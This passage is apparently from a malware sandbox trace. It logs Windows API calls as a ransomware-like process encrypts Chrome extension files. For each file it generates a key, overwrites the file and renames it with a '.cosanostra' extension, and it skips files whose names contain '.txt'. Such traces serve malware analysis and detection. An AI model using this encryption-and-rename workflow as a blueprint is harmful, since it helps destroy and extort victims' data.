"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json.cosanostra")) returned 1 [0086.569] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df998 | out: pbBuffer=0x28df998) returned 1 [0086.569] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df990*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df990*=0x30) returned 1 [0086.569] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc [0086.570] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json") returned 155 [0086.570] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.570] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0xfffffedb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.570] WriteFile (in: hFile=0xbc, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x125, lpNumberOfBytesWritten=0x28df954, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28df954*=0x125, lpOverlapped=0x0) returned 1 [0086.571] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.571] WriteFile (in: hFile=0xbc, lpBuffer=0x28df994*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df954, lpOverlapped=0x0 | out: lpBuffer=0x28df994*, lpNumberOfBytesWritten=0x28df954*=0x4, lpOverlapped=0x0) returned 1 [0086.571] WriteFile (in: hFile=0xbc, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df954, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df954*=0x30, lpOverlapped=0x0) returned 1 [0086.571] CloseHandle (hObject=0xbc) returned 1 [0086.571] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json.cosanostra")) returned 1 [0086.573] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df990 | out: pbBuffer=0x28df990) returned 1 [0086.573] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df988*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df988*=0x30) returned 1 [0086.573] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc [0086.573] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json") returned 155 [0086.573] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.574] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0xfffffeeb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.574] WriteFile (in: hFile=0xbc, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x115, lpNumberOfBytesWritten=0x28df94c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28df94c*=0x115, lpOverlapped=0x0) returned 1 [0086.574] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.574] WriteFile (in: hFile=0xbc, lpBuffer=0x28df98c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df94c, lpOverlapped=0x0 | out: lpBuffer=0x28df98c*, lpNumberOfBytesWritten=0x28df94c*=0x4, lpOverlapped=0x0) returned 1 [0086.574] WriteFile (in: hFile=0xbc, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df94c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df94c*=0x30, lpOverlapped=0x0) returned 1 [0086.574] CloseHandle (hObject=0xbc) returned 1 [0086.574] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json.cosanostra")) returned 1 [0086.576] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df988 | out: pbBuffer=0x28df988) returned 1 [0086.576] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df980*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df980*=0x30) returned 1 [0086.576] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc [0086.577] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json") returned 155 [0086.577] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.577] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0xfffffeb0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.578] WriteFile (in: hFile=0xbc, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x28df944, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28df944*=0x150, lpOverlapped=0x0) returned 1 [0086.578] SetFilePointerEx (in: hFile=0xbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.578] WriteFile (in: hFile=0xbc, lpBuffer=0x28df984*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df944, lpOverlapped=0x0 | out: lpBuffer=0x28df984*, lpNumberOfBytesWritten=0x28df944*=0x4, lpOverlapped=0x0) returned 1 [0086.578] WriteFile (in: hFile=0xbc, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df944, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df944*=0x30, lpOverlapped=0x0) returned 1 [0086.578] CloseHandle (hObject=0xbc) returned 1 [0086.578] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json.cosanostra")) returned 1 [0086.727] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df970 | out: pbBuffer=0x28df970) returned 1 [0086.727] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df968*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df968*=0x30) returned 1 [0086.727] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0086.739] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json") returned 159 [0086.739] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.771] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffd9f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.771] WriteFile (in: hFile=0x18c, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0x261, lpNumberOfBytesWritten=0x28df92c, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x28df92c*=0x261, lpOverlapped=0x0) returned 1 [0086.771] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.771] WriteFile (in: hFile=0x18c, lpBuffer=0x28df96c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df92c, lpOverlapped=0x0 | out: lpBuffer=0x28df96c*, lpNumberOfBytesWritten=0x28df92c*=0x4, lpOverlapped=0x0) returned 1 [0086.771] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df92c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df92c*=0x30, lpOverlapped=0x0) returned 1 [0086.771] CloseHandle (hObject=0x18c) returned 1 [0086.771] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json.cosanostra")) returned 1 [0086.773] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df968 | out: pbBuffer=0x28df968) returned 1 [0086.773] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df960*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df960*=0x30) returned 1 [0086.773] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0086.774] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json") returned 159 [0086.774] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.922] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffd3c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.922] WriteFile (in: hFile=0x18c, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0x2c4, lpNumberOfBytesWritten=0x28df924, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x28df924*=0x2c4, lpOverlapped=0x0) returned 1 [0086.922] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.922] WriteFile (in: hFile=0x18c, lpBuffer=0x28df964*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df924, lpOverlapped=0x0 | out: lpBuffer=0x28df964*, lpNumberOfBytesWritten=0x28df924*=0x4, lpOverlapped=0x0) returned 1 [0086.922] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df924, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df924*=0x30, lpOverlapped=0x0) returned 1 [0086.923] CloseHandle (hObject=0x18c) returned 1 [0086.923] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json.cosanostra")) returned 1 [0086.923] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df968 | out: pbBuffer=0x28df968) returned 1 [0086.923] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df960*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df960*=0x30) returned 1 [0086.923] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0086.924] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png") returned 137 [0086.924] StrStrW (lpFirst="128.png", lpSrch=".txt") returned 0x0 [0086.973] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffe7f1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.973] WriteFile (in: hFile=0x18c, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0x180f, lpNumberOfBytesWritten=0x28df924, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x28df924*=0x180f, lpOverlapped=0x0) returned 1 [0086.973] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.973] WriteFile (in: hFile=0x18c, lpBuffer=0x28df964*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df924, lpOverlapped=0x0 | out: lpBuffer=0x28df964*, lpNumberOfBytesWritten=0x28df924*=0x4, lpOverlapped=0x0) returned 1 [0086.973] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df924, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df924*=0x30, lpOverlapped=0x0) returned 1 [0086.973] CloseHandle (hObject=0x18c) returned 1 [0086.974] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.cosanostra")) returned 1 [0086.981] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df958 | out: pbBuffer=0x28df958) returned 1 [0086.982] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df950*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df950*=0x30) returned 1 [0086.982] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0086.982] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json") returned 162 [0086.982] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.029] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffd80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.029] WriteFile (in: hFile=0x18c, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x28df914, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x28df914*=0x280, lpOverlapped=0x0) returned 1 [0087.029] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.029] WriteFile (in: hFile=0x18c, lpBuffer=0x28df954*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df914, lpOverlapped=0x0 | out: lpBuffer=0x28df954*, lpNumberOfBytesWritten=0x28df914*=0x4, lpOverlapped=0x0) returned 1 [0087.029] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df914, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df914*=0x30, lpOverlapped=0x0) returned 1 [0087.030] CloseHandle (hObject=0x18c) returned 1 [0087.030] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_tw\\messages.json.cosanostra")) returned 1 [0087.031] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df950 | out: pbBuffer=0x28df950) returned 1 [0087.031] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df948*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df948*=0x30) returned 1 [0087.032] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.032] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json") returned 159 [0087.032] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.131] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffd76, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.131] WriteFile (in: hFile=0x18c, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0x28a, lpNumberOfBytesWritten=0x28df90c, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x28df90c*=0x28a, lpOverlapped=0x0) returned 1 [0087.131] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.131] WriteFile (in: hFile=0x18c, lpBuffer=0x28df94c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df90c, lpOverlapped=0x0 | out: lpBuffer=0x28df94c*, lpNumberOfBytesWritten=0x28df90c*=0x4, lpOverlapped=0x0) returned 1 [0087.131] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df90c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df90c*=0x30, lpOverlapped=0x0) returned 1 [0087.131] CloseHandle (hObject=0x18c) returned 1 [0087.131] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json.cosanostra") returned 170 [0087.131] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js 